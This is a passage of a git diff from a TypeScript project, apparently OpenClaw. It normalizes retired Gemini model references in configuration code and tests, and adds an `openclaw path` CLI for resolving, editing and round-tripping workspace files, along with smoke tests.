"openrouter/meta-llama/llama-3.3-70b:free")).toBe( - true, - ); + const values = options.map((option) => option.value); + expect(values).not.toContain("openrouter/auto"); + expect(values).toContain("openrouter/meta-llama/llama-3.3-70b:free"); } function createSelectAllMultiselect() { @@ -303,11 +302,38 @@ describe("promptDefaultModel", () => { expect(optionValues).toEqual([ "openai/gpt-5.5", "anthropic/claude-sonnet-4-6", - "google/gemini-3-pro-preview", + "google/gemini-3.1-pro-preview", "openai-codex/gpt-5.5", ]); }); + it("normalizes retired Google Gemini catalog rows before saving config", async () => { + loadModelCatalog.mockResolvedValue([ + { provider: "google", id: "gemini-3-pro-preview", name: "Gemini 3 Pro" }, + ]); + + const select = vi.fn(async (params) => params.options[0]?.value as never); + const prompter = makePrompter({ select }); + + const result = await promptDefaultModel({ + config: { agents: { defaults: {} } } as OpenClawConfig, + prompter, + allowKeep: false, + includeManual: false, + ignoreAllowlist: true, + }); + + expect(result.model).toBe("google/gemini-3.1-pro-preview"); + expect(select.mock.calls[0]?.[0]?.options).toEqual([ + expect.objectContaining({ value: "google/gemini-3.1-pro-preview" }), + ]); + expect(runProviderModelSelectedHook).toHaveBeenCalledWith( + expect.objectContaining({ + model: "google/gemini-3.1-pro-preview", + }), + ); + }); + it("uses configured provider models for default picker without loading the full catalog in replace mode", async () => { loadModelCatalog.mockResolvedValue([ { provider: "openai", id: "gpt-5.5", name: "GPT-5.5" }, @@ -1268,7 +1294,7 @@ describe("runtime model picker visibility", () => { expect(optionValues).toEqual([ "openai/gpt-5.5", "anthropic/claude-sonnet-4-6", - "google/gemini-3-pro-preview", + "google/gemini-3.1-pro-preview", ]); expect(call?.initialValues).toEqual(["openai/gpt-5.5"]); }); @@ -1325,6 +1351,29 @@ describe("applyModelAllowlist", () => { }); }); + it("normalizes retired Google Gemini refs before writing selected models", () => { + const config = { + agents: { + defaults: { + models: { + "google/gemini-3.1-pro-preview": { alias: "gemini" }, + }, + }, + }, + } as OpenClawConfig; + + const next = applyModelAllowlist(config, [ + "google/gemini-3-pro-preview", + "google-gemini-cli/gemini-3-pro-preview", + "openrouter/google/gemini-3-pro-preview", + ]); + expect(next.agents?.defaults?.models).toEqual({ + "google/gemini-3.1-pro-preview": { alias: "gemini" }, + "google-gemini-cli/gemini-3.1-pro-preview": {}, + "openrouter/google/gemini-3-pro-preview": {}, + }); + }); + it("preserves entries outside scoped allowlist updates", () => { const config = { agents: { @@ -1429,6 +1478,50 @@ describe("applyModelFallbacksFromSelection", () => { }); }); + it("normalizes retired Google Gemini refs in selected fallbacks before writing config", () => { + const config = { + agents: { + defaults: { + model: { + primary: "openai/gpt-5.5", + fallbacks: ["google/gemini-3-pro-preview"], + }, + }, + }, + } as OpenClawConfig; + + const next = applyModelFallbacksFromSelection(config, [ + "openai/gpt-5.5", + "google/gemini-3-pro-preview", + ]); + expect(next.agents?.defaults?.model).toEqual({ + primary: "openai/gpt-5.5", + fallbacks: ["google/gemini-3.1-pro-preview"], + }); + }); + + it("normalizes a retired Google Gemini primary while writing selected fallbacks", () => { + const config = { + agents: { + defaults: { + model: { + primary: "google/gemini-3-pro-preview", + fallbacks: ["openai/gpt-5.5"], + }, + }, + }, + } as OpenClawConfig; + + const next = applyModelFallbacksFromSelection(config, [ + "google/gemini-3.1-pro-preview", + "openai/gpt-5.5", + ]); + expect(next.agents?.defaults?.model).toEqual({ + primary: "google/gemini-3.1-pro-preview", + fallbacks: ["openai/gpt-5.5"], + }); + }); + it("drops malformed fallback refs instead of preserving raw strings", () => { const config = { agents: { @@ -1504,7 +1597,7 @@ describe("applyModelFallbacksFromSelection", () => { }); expect(next.agents?.defaults?.model).toEqual({ primary: "anthropic/claude-opus-4-6", - fallbacks: ["google/gemini-3-pro-preview"], + fallbacks: ["google/gemini-3.1-pro-preview"], }); }); diff --git a/src/commands/models/auth.test.ts b/src/commands/models/auth.test.ts index cb09062cced..1f1ac6f5f59 100644 --- a/src/commands/models/auth.test.ts +++ b/src/commands/models/auth.test.ts @@ -547,7 +547,8 @@ describe("modelsAuthLoginCommand", () => { expect(ctx.env).toBe(process.env); expect(ctx.allowSecretRefPrompt).toBe(false); expect(ctx.isRemote).toBe(false); - expect(ctx.openUrl).toEqual(expect.any(Function)); + await ctx.openUrl("https://example.com/auth"); + expect(mocks.openUrl).toHaveBeenCalledWith("https://example.com/auth"); expect(ctx.oauth).toMatchObject({ createVpsAwareHandlers: expect.any(Function), }); diff --git a/src/commands/models/list.status.test.ts b/src/commands/models/list.status.test.ts index d17f37a2224..371ae1f0cbe 100644 --- a/src/commands/models/list.status.test.ts +++ b/src/commands/models/list.status.test.ts @@ -586,7 +586,7 @@ describe("modelsStatusCommand auth overview", () => { const aliasPayload = JSON.parse(String((aliasRuntime.log as Mock).mock.calls[0]?.[0])); const providers = aliasPayload.auth.providers as Array<{ provider: string }>; expect(providers.filter((provider) => provider.provider === "zai")).toHaveLength(1); - expect(providers.some((provider) => provider.provider === "z.ai")).toBe(false); + expect(providers.map((provider) => provider.provider)).not.toContain("z.ai"); } finally { if (originalLoadConfig) { mocks.loadConfig.mockImplementation(originalLoadConfig); @@ -657,7 +657,7 @@ describe("modelsStatusCommand auth overview", () => { }), ]), ); - expect(providers.some((entry) => entry.provider === "unused-synthetic")).toBe(false); + expect(providers.map((entry) => entry.provider)).not.toContain("unused-synthetic"); } finally { if (originalLoadConfig) { mocks.loadConfig.mockImplementation(originalLoadConfig); diff --git a/src/commands/models/shared.ts b/src/commands/models/shared.ts index 48540cd00aa..37a7709abc3 100644 --- a/src/commands/models/shared.ts +++ b/src/commands/models/shared.ts @@ -14,7 +14,7 @@ import { replaceConfigFile, } from "../../config/config.js"; import { formatConfigIssueLines } from "../../config/issue-format.js"; -import { toAgentModelListLike } from "../../config/model-input.js"; +import { normalizeAgentModelRefForConfig, toAgentModelListLike } from "../../config/model-input.js"; import type { AgentModelEntryConfig } from "../../config/types.agent-defaults.js"; import type { AgentModelConfig } from "../../config/types.agents-shared.js"; import { normalizeAgentId } from "../../routing/session-key.js"; @@ -197,10 +197,12 @@ export function mergePrimaryFallbackConfig( const base = existing && typeof existing === "object" ? existing : undefined; const next: PrimaryFallbackConfig = { ...base }; if (patch.primary !== undefined) { - next.primary = patch.primary; + next.primary = normalizeAgentModelRefForConfig(patch.primary); } if (patch.fallbacks !== undefined) { - next.fallbacks = patch.fallbacks; + next.fallbacks = patch.fallbacks.map((fallback) => normalizeAgentModelRefForConfig(fallback)); + } else if (next.fallbacks !== undefined) { + next.fallbacks = next.fallbacks.map((fallback) => normalizeAgentModelRefForConfig(fallback)); } return next; } diff --git a/src/commands/onboard-search.providers.test.ts b/src/commands/onboard-search.providers.test.ts index 295001e6ea5..6a556857437 100644 --- a/src/commands/onboard-search.providers.test.ts +++ b/src/commands/onboard-search.providers.test.ts @@ -190,7 +190,9 @@ describe("onboard-search provider resolution", () => { provider: "default", id: "CUSTOM_SEARCH_API_KEY", }); - expect(notes.some((note) => note.message.includes("CUSTOM_SEARCH_API_KEY"))).toBe(true); + expect(notes.map((note) => note.message)).toEqual( + expect.arrayContaining([expect.stringContaining("CUSTOM_SEARCH_API_KEY")]), + ); }); it("does not treat hard-disabled bundled providers as selectable credentials", () => { @@ -249,7 +251,9 @@ describe("onboard-search provider resolution", () => { expect(result.tools?.web?.search?.provider).toBe("duckduckgo"); expect(result.plugins?.entries?.duckduckgo?.enabled).toBe(true); - expect(notes.some((message) => message.includes("works without an API key"))).toBe(true); + expect(notes).toEqual( + expect.arrayContaining([expect.stringContaining("works without an API key")]), + ); }); it("uses the runtime onboarding search surface when no config is present", () => { diff --git a/src/commands/openai-model-default.test.ts b/src/commands/openai-model-default.test.ts index 6831ba23373..650c28c1072 100644 --- a/src/commands/openai-model-default.test.ts +++ b/src/commands/openai-model-default.test.ts @@ -59,7 +59,7 @@ describe("applyOpencodeZenModelDefault", () => { expect(applied.changed).toBe(true); expect(applied.next.agents?.defaults?.model).toEqual({ primary: OPENCODE_ZEN_DEFAULT_MODEL, - fallbacks: ["google/gemini-3-pro"], + fallbacks: ["google/gemini-3.1-pro-preview"], }); }); diff --git a/src/commands/path.test.ts b/src/commands/path.test.ts new file mode 100644 index 00000000000..e6b171479f2 --- /dev/null +++ b/src/commands/path.test.ts @@ -0,0 +1,291 @@ +/** + * Smoke tests for the `openclaw path` CLI handlers. + * + * Tests invoke each subcommand handler directly with a capturing + * `OutputRuntimeEnv` — no commander wiring, no child process spawn. + * Assertions inspect captured stdout/stderr and the exit code the + * handler set on the runtime. + */ +import { mkdtempSync, readFileSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { afterEach, beforeEach, describe, expect, it } from "vitest"; +import type { OutputRuntimeEnv } from "../runtime.js"; +import { + pathEmitCommand, + pathFindCommand, + pathResolveCommand, + pathSetCommand, + pathValidateCommand, +} from "./path.js"; + +interface TestRuntime extends OutputRuntimeEnv { + readonly stdout: string[]; + readonly stderr: string[]; + exitCode: number; +} + +function createTestRuntime(): TestRuntime { + const stdout: string[] = []; + const stderr: string[] = []; + const runtime: TestRuntime = { + stdout, + stderr, + exitCode: 0, + log: (...args) => { + stdout.push(args.map((a) => (typeof a === "string" ? a : String(a))).join(" ")); + }, + error: (...args) => { + stderr.push(args.map((a) => (typeof a === "string" ? a : String(a))).join(" ")); + }, + writeStdout: (value) => { + stdout.push(value); + }, + writeJson: (value, space = 2) => { + stdout.push(JSON.stringify(value, null, space > 0 ? space : undefined)); + }, + exit: (code) => { + runtime.exitCode = code; + }, + }; + return runtime; +} + +const stdoutText = (rt: TestRuntime): string => rt.stdout.join("\n"); +const stderrText = (rt: TestRuntime): string => rt.stderr.join("\n"); + +describe("openclaw path CLI", () => { + let workspaceDir: string; + + beforeEach(() => { + workspaceDir = mkdtempSync(join(tmpdir(), "oc-path-cli-")); + }); + afterEach(() => { + // mkdtemp leaves a small dir; OS will GC it. Skip cleanup to keep + // the test deterministic on Windows where rmdir flakes. + }); + + describe("validate", () => { + it("CLI-V01 accepts a well-formed path with --json", () => { + const rt = createTestRuntime(); + pathValidateCommand("oc://AGENTS.md/Tools/-1", { json: true }, rt); + expect(rt.exitCode).toBe(0); + const out = JSON.parse(stdoutText(rt)); + expect(out.valid).toBe(true); + expect(out.structure.file).toBe("AGENTS.md"); + expect(out.structure.section).toBe("Tools"); + }); + + it("CLI-V02 rejects a malformed path with code 1", () => { + const rt = createTestRuntime(); + pathValidateCommand("oc://X/a\x00b", { json: true }, rt); + expect(rt.exitCode).toBe(1); + const out = JSON.parse(stdoutText(rt)); + expect(out.valid).toBe(false); + }); + + it("CLI-V03 missing argument returns 2", () => { + const rt = createTestRuntime(); + pathValidateCommand(undefined, { json: true }, rt); + expect(rt.exitCode).toBe(2); + expect(stderrText(rt)).toContain("missing"); + }); + }); + + describe("resolve", () => { + it("CLI-R01 finds a leaf in jsonc and prints it", async () => { + const filePath = join(workspaceDir, "gateway.jsonc"); + writeFileSync(filePath, '{ "version": "1.0" }', "utf-8"); + const rt = createTestRuntime(); + await pathResolveCommand( + "oc://gateway.jsonc/version", + { cwd: workspaceDir, json: true }, + rt, + ); + expect(rt.exitCode).toBe(0); + const out = JSON.parse(stdoutText(rt)); + expect(out.resolved).toBe(true); + expect(out.match.kind).toBe("leaf"); + expect(out.match.valueText).toBe("1.0"); + }); + + it("CLI-R02 returns 1 for not-found path", async () => { + const filePath = join(workspaceDir, "gateway.jsonc"); + writeFileSync(filePath, '{ "version": "1.0" }', "utf-8"); + const rt = createTestRuntime(); + await pathResolveCommand( + "oc://gateway.jsonc/missing", + { cwd: workspaceDir, json: true }, + rt, + ); + expect(rt.exitCode).toBe(1); + const out = JSON.parse(stdoutText(rt)); + expect(out.resolved).toBe(false); + }); + + it("CLI-R03 missing argument returns 2", async () => { + const rt = createTestRuntime(); + await pathResolveCommand(undefined, { json: true }, rt); + expect(rt.exitCode).toBe(2); + expect(stderrText(rt)).toContain("missing"); + }); + }); + + describe("set", () => { + it("CLI-S01 writes new bytes when path resolves", async () => { + const filePath = join(workspaceDir, "gateway.jsonc"); + writeFileSync(filePath, '{ "version": "1.0" }', "utf-8"); + const rt = createTestRuntime(); + await pathSetCommand( + "oc://gateway.jsonc/version", + "2.0", + { cwd: workspaceDir, json: true }, + rt, + ); + expect(rt.exitCode).toBe(0); + const after = readFileSync(filePath, "utf-8"); + expect(after).toContain('"2.0"'); + }); + + it("CLI-S02 --dry-run does not write to disk", async () => { + const filePath = join(workspaceDir, "gateway.jsonc"); + const before = '{ "version": "1.0" }'; + writeFileSync(filePath, before, "utf-8"); + const rt = createTestRuntime(); + await pathSetCommand( + "oc://gateway.jsonc/version", + "2.0", + { cwd: workspaceDir, json: true, dryRun: true }, + rt, + ); + expect(rt.exitCode).toBe(0); + const out = JSON.parse(stdoutText(rt)); + expect(out.dryRun).toBe(true); + expect(out.bytes).toContain('"2.0"'); + // File on disk unchanged. + expect(readFileSync(filePath, "utf-8")).toBe(before); + }); + + it("CLI-S03 sentinel-bearing value is refused at emit", async () => { + const filePath = join(workspaceDir, "gateway.jsonc"); + writeFileSync(filePath, '{ "token": "x" }', "utf-8"); + const rt = createTestRuntime(); + // The sentinel-bearing value is accepted into the AST by setOcPath, + // but `emitForKind` refuses to serialize it (defense-in-depth at + // the per-kind emit boundary). The CLI handler must catch that + // refusal and route it through the structured error boundary — + // a thrown error escaping commander would print raw `String(err)` + // and bypass our JSON/human scrubbing. Pin the structured shape: + // exit code 1, stable code OC_EMIT_SENTINEL, message scrubbed. + await pathSetCommand( + "oc://gateway.jsonc/token", + "__OPENCLAW_REDACTED__", + { cwd: workspaceDir, json: true }, + rt, + ); + expect(rt.exitCode).toBe(1); + expect(stderrText(rt)).toContain("OC_EMIT_SENTINEL"); + // F13 — file context in sentinel error. Without fileNameForGuard + // plumbing through emitForKind, the message would carry the + // empty-slot fallback (`oc:///[raw]`); now it carries the actual + // file (`oc://gateway.jsonc/[raw]`). Forensics + audit pipelines + // rely on this — without the file context, "sentinel rejected + // somewhere" doesn't tell you WHICH file was involved. + expect(stderrText(rt)).toContain("gateway.jsonc"); + }); + + it("CLI-S04 missing args returns 2", async () => { + const rt = createTestRuntime(); + await pathSetCommand(undefined, undefined, { json: true }, rt); + expect(rt.exitCode).toBe(2); + expect(stderrText(rt)).toContain("requires"); + }); + }); + + describe("find", () => { + it("CLI-F01 enumerates wildcard matches", async () => { + const filePath = join(workspaceDir, "config.jsonc"); + writeFileSync(filePath, '{ "items": [ { "id": "a" }, { "id": "b" } ] }', "utf-8"); + const rt = createTestRuntime(); + await pathFindCommand( + "oc://config.jsonc/items/*/id", + { cwd: workspaceDir, json: true }, + rt, + ); + expect(rt.exitCode).toBe(0); + const out = JSON.parse(stdoutText(rt)); + expect(out.count).toBe(2); + }); + + it("CLI-F02 returns 1 when zero matches", async () => { + const filePath = join(workspaceDir, "gateway.jsonc"); + writeFileSync(filePath, "{}", "utf-8"); + const rt = createTestRuntime(); + await pathFindCommand( + "oc://gateway.jsonc/nope/*", + { cwd: workspaceDir, json: true }, + rt, + ); + expect(rt.exitCode).toBe(1); + }); + + it("CLI-F03 file-slot wildcard rejected with clear error (no ENOENT)", async () => { + // Closes Galin P3 (round 8): `find` resolves `pattern.file` to one + // literal path, so `oc://*.jsonc/...` would silently ENOENT during + // fs.readFile. The CLI now surfaces a clear error before touching + // the filesystem, with stable code OC_PATH_FILE_WILDCARD_UNSUPPORTED. + const rt = createTestRuntime(); + await pathFindCommand( + "oc://*.jsonc/items", + { cwd: workspaceDir, json: true }, + rt, + ); + expect(rt.exitCode).toBe(2); + expect(stderrText(rt)).toContain("OC_PATH_FILE_WILDCARD_UNSUPPORTED"); + expect(stderrText(rt)).toContain("file-slot wildcards are not supported"); + }); + }); + + describe("emit", () => { + it("CLI-E01 round-trips jsonc bytes verbatim (byte-fidelity proof)", async () => { + const filePath = join(workspaceDir, "gateway.jsonc"); + const before = '// keep this comment\n{\n "v": 1\n}\n'; + writeFileSync(filePath, before, "utf-8"); + const rt = createTestRuntime(); + await pathEmitCommand(filePath, { json: true }, rt); + expect(rt.exitCode).toBe(0); + const out = JSON.parse(stdoutText(rt)); + expect(out.kind).toBe("jsonc"); + expect(out.bytes).toBe(before); + }); + + it("CLI-E02 round-trips md verbatim", async () => { + const filePath = join(workspaceDir, "AGENTS.md"); + const before = "## Tools\n- gh\n## Boundaries\n- never rm -rf\n"; + writeFileSync(filePath, before, "utf-8"); + const rt = createTestRuntime(); + await pathEmitCommand(filePath, { json: true }, rt); + expect(rt.exitCode).toBe(0); + const out = JSON.parse(stdoutText(rt)); + expect(out.kind).toBe("md"); + expect(out.bytes).toBe(before); + }); + + it("CLI-E03 emit --cwd resolves against the supplied directory", async () => { + // Closes round-10 finding F2: emit advertises --cwd / --file in + // the docs but the handler resolved against process.cwd() + // ignoring both. Pin the new wiring: a relative resolves + // against --cwd, not against process.cwd(). + const filePath = join(workspaceDir, "AGENTS.md"); + writeFileSync(filePath, "## Tools\n- gh\n", "utf-8"); + const rt = createTestRuntime(); + // Pass a RELATIVE filename + explicit --cwd. If the handler + // ignored --cwd, loadAst would ENOENT against process.cwd(). + await pathEmitCommand("AGENTS.md", { cwd: workspaceDir, json: true }, rt); + expect(rt.exitCode).toBe(0); + const out = JSON.parse(stdoutText(rt)); + expect(out.kind).toBe("md"); + expect(out.bytes).toBe("## Tools\n- gh\n"); + }); + }); +}); diff --git a/src/commands/path.ts b/src/commands/path.ts new file mode 100644 index 00000000000..902d3e4241f --- /dev/null +++ b/src/commands/path.ts @@ -0,0 +1,537 @@ +/** + * `openclaw path` — shell-level access to the OcPath substrate verbs. + * Self-hosters and editor extensions use it to inspect and surgically + * edit workspace files without scripting against the SDK directly. + * + * Subcommands: + * - `resolve ` — print the match at the path + * - `set ` — write a leaf at the path; supports `--dry-run` + * - `find ` — enumerate matches for a wildcard/predicate path + * - `validate ` — parse-only; print structure + * - `emit ` — read + parseXxx + emitXxx; verifies byte-fidelity + * + * Output is TTY-aware: defaults to human-readable when stdout is a TTY, + * switches to JSON otherwise (so pipes don't get formatting noise). + * `--json` and `--human` flags override the auto-detection. + * + * Boundaries this CLI does NOT cross (v0): + * - Doesn't know about LKG. `set` writes raw bytes through the + * substrate emit; if the file is LKG-tracked, the next observe + * call decides whether to promote / recover. + * - Doesn't know about lint rules or doctor fixers — that's a + * different surface. + */ + +import { promises as fs } from "node:fs"; +import { resolve as resolvePath } from "node:path"; +import { + OcEmitSentinelError, + OcPathError, + REDACTED_SENTINEL, + emitJsonc, + emitJsonl, + emitMd, + emitYaml, + findOcPaths, + formatOcPath, + inferKind, + parseJsonc, + parseJsonl, + parseMd, + parseOcPath, + parseYaml, + resolveOcPath, + setOcPath, + type OcAst, + type OcMatch, + type OcPath, + type SetResult, +} from "../oc-path/index.js"; +import type { OutputRuntimeEnv } from "../runtime.js"; + +export interface PathCommandOptions { + readonly json?: boolean; + readonly human?: boolean; + readonly cwd?: string; + readonly file?: string; + readonly dryRun?: boolean; +} + +type OutputMode = "human" | "json"; + +const SCRUB_PLACEHOLDER = "[REDACTED]"; + +/** + * Output-boundary sentinel scrub. Replaces every occurrence of the + * redaction sentinel with `[REDACTED]` before writing to the output + * stream. Defense-in-depth — even if a future code path surfaces raw + * file content carrying the sentinel, the CLI must not echo it. + */ +export function scrubSentinel(s: string): string { + if (!s.includes(REDACTED_SENTINEL)) { + return s; + } + return s.split(REDACTED_SENTINEL).join(SCRUB_PLACEHOLDER); +} + +function detectMode(options: PathCommandOptions): OutputMode { + if (options.json === true) { + return "json"; + } + if (options.human === true) { + return "human"; + } + return process.stdout.isTTY ? "human" : "json"; +} + +function emit( + runtime: OutputRuntimeEnv, + mode: OutputMode, + value: unknown, + humanFallback: () => string, +): void { + if (mode === "json") { + runtime.writeStdout(scrubSentinel(JSON.stringify(value, null, 2))); + return; + } + runtime.writeStdout(scrubSentinel(humanFallback())); +} + +function emitError( + runtime: OutputRuntimeEnv, + mode: OutputMode, + message: string, + code = "ERR", +): void { + const scrubbed = scrubSentinel(message); + if (mode === "json") { + runtime.error(JSON.stringify({ error: { code, message: scrubbed } })); + return; + } + runtime.error(`${code}: ${scrubbed}`); +} + +async function loadAst(absPath: string, fileName: string): Promise { + const raw = await fs.readFile(absPath, "utf-8"); + const kind = inferKind(fileName); + if (kind === "jsonc") { + return parseJsonc(raw).ast; + } + if (kind === "jsonl") { + return parseJsonl(raw).ast; + } + if (kind === "yaml") { + return parseYaml(raw).ast; + } + return parseMd(raw).ast; +} + +function emitForKind(ast: OcAst, fileName?: string): string { + // Plumb fileName through so OcEmitSentinelError messages carry the + // file context (`oc://gateway.jsonc/[raw]`) instead of the + // empty-slot fallback (`oc:///[raw]`). Test S-12 in the wave-21 + // sentinel suite asserts the OcPath context appears in the error; + // without this plumbing, CLI emits had it stripped. + const opts = fileName !== undefined ? { fileNameForGuard: fileName } : {}; + switch (ast.kind) { + case "jsonc": + return emitJsonc(ast, opts); + case "jsonl": + return emitJsonl(ast, opts); + case "yaml": + // Default round-trip mode preserves bytes verbatim for unmodified + // ASTs (so `openclaw path emit foo.yaml` is a true byte-fidelity + // diagnostic). After `setOcPath` mutates a YAML AST the substrate + // re-renders into `ast.raw` already, so round-trip mode emits the + // mutated bytes too — no need for the render-mode override. + return emitYaml(ast, opts); + case "md": + return emitMd(ast, opts); + } + throw new Error(`unreachable: emitForKind kind`); +} + +function resolveFsPath(path: OcPath, options: PathCommandOptions): string { + const cwd = options.cwd ?? process.cwd(); + if (options.file !== undefined) { + return resolvePath(options.file); + } + return resolvePath(cwd, path.file); +} + +function formatMatchHuman(match: OcMatch): string { + if (match.kind === "leaf") { + return `leaf @ L${match.line}: ${JSON.stringify(match.valueText)} (${match.leafType})`; + } + if (match.kind === "node") { + return `node @ L${match.line} [${match.descriptor}]`; + } + if (match.kind === "insertion-point") { + return `insertion-point @ L${match.line} [${match.container}]`; + } + return `root @ L${match.line}`; +} + +export async function pathResolveCommand( + pathStr: string | undefined, + options: PathCommandOptions, + runtime: OutputRuntimeEnv, +): Promise { + const mode = detectMode(options); + if (pathStr === undefined) { + emitError(runtime, mode, "resolve: missing argument"); + runtime.exit(2); + return; + } + let ocPath: OcPath; + try { + ocPath = parseOcPath(pathStr); + } catch (err) { + if (err instanceof OcPathError) { + emitError(runtime, mode, `parse failed: ${err.message}`, err.code); + runtime.exit(2); + return; + } + throw err; + } + const fsPath = resolveFsPath(ocPath, options); + const ast = await loadAst(fsPath, ocPath.file); + let match; + try { + match = resolveOcPath(ast, ocPath); + } catch (err) { + if (err instanceof OcPathError) { + // resolveOcPath now throws on wildcard patterns (the pattern + // belongs in `find`, not `resolve`). Surface the structured code + // so the CLI message points the caller at the right verb. + emitError(runtime, mode, `resolve refused: ${err.message}`, err.code); + runtime.exit(2); + return; + } + throw err; + } + if (match === null) { + emit( + runtime, + mode, + { resolved: false, ocPath: pathStr }, + () => `not found: ${pathStr}`, + ); + runtime.exit(1); + return; + } + emit( + runtime, + mode, + { resolved: true, ocPath: pathStr, match }, + () => formatMatchHuman(match), + ); +} + +export async function pathSetCommand( + pathStr: string | undefined, + value: string | undefined, + options: PathCommandOptions, + runtime: OutputRuntimeEnv, +): Promise { + const mode = detectMode(options); + if (pathStr === undefined || value === undefined) { + emitError(runtime, mode, "set: requires "); + runtime.exit(2); + return; + } + let ocPath: OcPath; + try { + ocPath = parseOcPath(pathStr); + } catch (err) { + if (err instanceof OcPathError) { + emitError(runtime, mode, `parse failed: ${err.message}`, err.code); + runtime.exit(2); + return; + } + throw err; + } + const fsPath = resolveFsPath(ocPath, options); + const ast = await loadAst(fsPath, ocPath.file); + // `setOcPath` invokes the per-kind editor which calls back into + // emit during rebuildRaw; the redaction-sentinel guard fires there + // and throws `OcEmitSentinelError` for sentinel-bearing values. + // Catch the throw here so it goes through the structured CLI error + // path instead of escaping to commander's runCommandWithRuntime + // (which would print raw String(err) and bypass --json scrubbing). + let result: SetResult; + try { + result = setOcPath(ast, ocPath, value); + } catch (err) { + if (err instanceof OcEmitSentinelError) { + emitError( + runtime, + mode, + `set refused: ${err.message}`, + "OC_EMIT_SENTINEL", + ); + runtime.exit(1); + return; + } + throw err; + } + if (!result.ok) { + const detail = "detail" in result ? result.detail : undefined; + emit( + runtime, + mode, + { ok: false, reason: result.reason, detail }, + () => + `set failed: ${result.reason}${detail !== undefined ? ` — ${detail}` : ""}`, + ); + runtime.exit(1); + return; + } + // `setOcPath` accepted the value into the AST, but the per-kind + // emit can still refuse to serialize it — most notably when the + // value contains the redaction sentinel (defense-in-depth: the + // substrate's emit guard fires there). The throw must NOT escape + // to commander's runCommandWithRuntime, which would print + // `String(err)` raw and bypass the CLI's JSON/human scrubbed-error + // boundary. Catch and route through `emitError` like every other + // refusal path. + let newBytes: string; + try { + newBytes = emitForKind(result.ast, ocPath.file); + } catch (err) { + if (err instanceof OcEmitSentinelError) { + emitError( + runtime, + mode, + `emit refused: ${err.message}`, + "OC_EMIT_SENTINEL", + ); + runtime.exit(1); + return; + } + throw err; + } + // Edit-then-emit through render mode drops jsonc comments and yaml + // formatting. Self-hosters running `openclaw path set` on a + // commented file should see the warning explicitly. + const lossyKinds: ReadonlySet = new Set(["jsonc", "yaml"]); + const formatLossWarning = lossyKinds.has(result.ast.kind) + ? `note: ${result.ast.kind} edit-then-emit drops comments / original formatting (render mode)` + : null; + if (options.dryRun === true) { + emit( + runtime, + mode, + { + ok: true, + dryRun: true, + bytes: newBytes, + ...(formatLossWarning !== null ? { warning: formatLossWarning } : {}), + }, + () => { + const lines = [`--dry-run: would write ${newBytes.length} bytes to ${fsPath}`]; + if (formatLossWarning !== null) { + lines.push(formatLossWarning); + } + lines.push(newBytes); + return lines.join("\n"); + }, + ); + return; + } + await fs.writeFile(fsPath, newBytes, "utf-8"); + emit( + runtime, + mode, + { + ok: true, + dryRun: false, + bytesWritten: newBytes.length, + fsPath, + ...(formatLossWarning !== null ? { warning: formatLossWarning } : {}), + }, + () => { + const lines = [`wrote ${newBytes.length} bytes to ${fsPath}`]; + if (formatLossWarning !== null) { + lines.push(formatLossWarning); + } + return lines.join("\n"); + }, + ); +} + +export async function pathFindCommand( + patternStr: string | undefined, + options: PathCommandOptions, + runtime: OutputRuntimeEnv, +): Promise { + const mode = detectMode(options); + if (patternStr === undefined) { + emitError(runtime, mode, "find: missing argument"); + runtime.exit(2); + return; + } + let pattern: OcPath; + try { + pattern = parseOcPath(patternStr); + } catch (err) { + if (err instanceof OcPathError) { + emitError(runtime, mode, `parse failed: ${err.message}`, err.code); + runtime.exit(2); + return; + } + throw err; + } + // The CLI resolves `pattern.file` to a single literal filesystem path. + // Wildcards in the file slot (e.g. `oc://*.jsonc/...`) would silently + // ENOENT during `fs.readFile`. The substrate's `findOcPaths` walks + // *inside* an AST — multi-file globbing is out of scope for v0. Surface + // a clear error so users don't get a confusing missing-file failure. + if (/[*?]/.test(pattern.file)) { + emitError( + runtime, + mode, + `find: file-slot wildcards are not supported (got "${pattern.file}"). ` + + `Pass a concrete file path; multi-file globbing is a follow-up feature.`, + "OC_PATH_FILE_WILDCARD_UNSUPPORTED", + ); + runtime.exit(2); + return; + } + const fsPath = resolveFsPath(pattern, options); + const ast = await loadAst(fsPath, pattern.file); + const matches = findOcPaths(ast, pattern); + emit( + runtime, + mode, + { + pattern: patternStr, + count: matches.length, + matches: matches.map((m) => ({ + path: formatOcPath(m.path), + match: m.match, + })), + }, + () => { + if (matches.length === 0) { + return `0 matches for ${patternStr}`; + } + const plural = matches.length === 1 ? "" : "es"; + const lines = [`${matches.length} match${plural} for ${patternStr}:`]; + for (const m of matches) { + lines.push(` ${formatOcPath(m.path)} → ${formatMatchHuman(m.match)}`); + } + return lines.join("\n"); + }, + ); + if (matches.length === 0) { + runtime.exit(1); + } +} + +export function pathValidateCommand( + pathStr: string | undefined, + options: PathCommandOptions, + runtime: OutputRuntimeEnv, +): void { + const mode = detectMode(options); + if (pathStr === undefined) { + emitError(runtime, mode, "validate: missing argument"); + runtime.exit(2); + return; + } + try { + const ocPath = parseOcPath(pathStr); + emit( + runtime, + mode, + { + valid: true, + ocPath: pathStr, + formatted: formatOcPath(ocPath), + structure: { + file: ocPath.file, + section: ocPath.section, + item: ocPath.item, + field: ocPath.field, + session: ocPath.session, + }, + }, + () => { + const lines = [`valid: ${pathStr}`, ` file: ${ocPath.file}`]; + if (ocPath.section !== undefined) { + lines.push(` section: ${ocPath.section}`); + } + if (ocPath.item !== undefined) { + lines.push(` item: ${ocPath.item}`); + } + if (ocPath.field !== undefined) { + lines.push(` field: ${ocPath.field}`); + } + if (ocPath.session !== undefined) { + lines.push(` session: ${ocPath.session}`); + } + return lines.join("\n"); + }, + ); + return; + } catch (err) { + if (err instanceof OcPathError) { + emit( + runtime, + mode, + { valid: false, code: err.code, message: err.message }, + () => `INVALID: ${err.code}: ${err.message}`, + ); + runtime.exit(1); + return; + } + throw err; + } +} + +export async function pathEmitCommand( + fileArg: string | undefined, + options: PathCommandOptions, + runtime: OutputRuntimeEnv, +): Promise { + const mode = detectMode(options); + if (fileArg === undefined) { + emitError(runtime, mode, "emit: missing argument"); + runtime.exit(2); + return; + } + // Resolve the file slot through the same `--cwd`/`--file` rules the + // sibling subcommands use: `--file` (when set) is the absolute path + // override; otherwise resolve `fileArg` against `--cwd` (defaulting + // to `process.cwd()`). Without this, the flags are accepted by + // commander but ignored by the handler — exactly the bug-shape + // ClawSweeper flagged for the doc/option mismatch. + const fsPath = + options.file !== undefined + ? resolvePath(options.file) + : resolvePath(options.cwd ?? process.cwd(), fileArg); + const fileName = fsPath.split(/[\\/]/).pop() ?? fileArg; + const ast = await loadAst(fsPath, fileName); + let bytes: string; + try 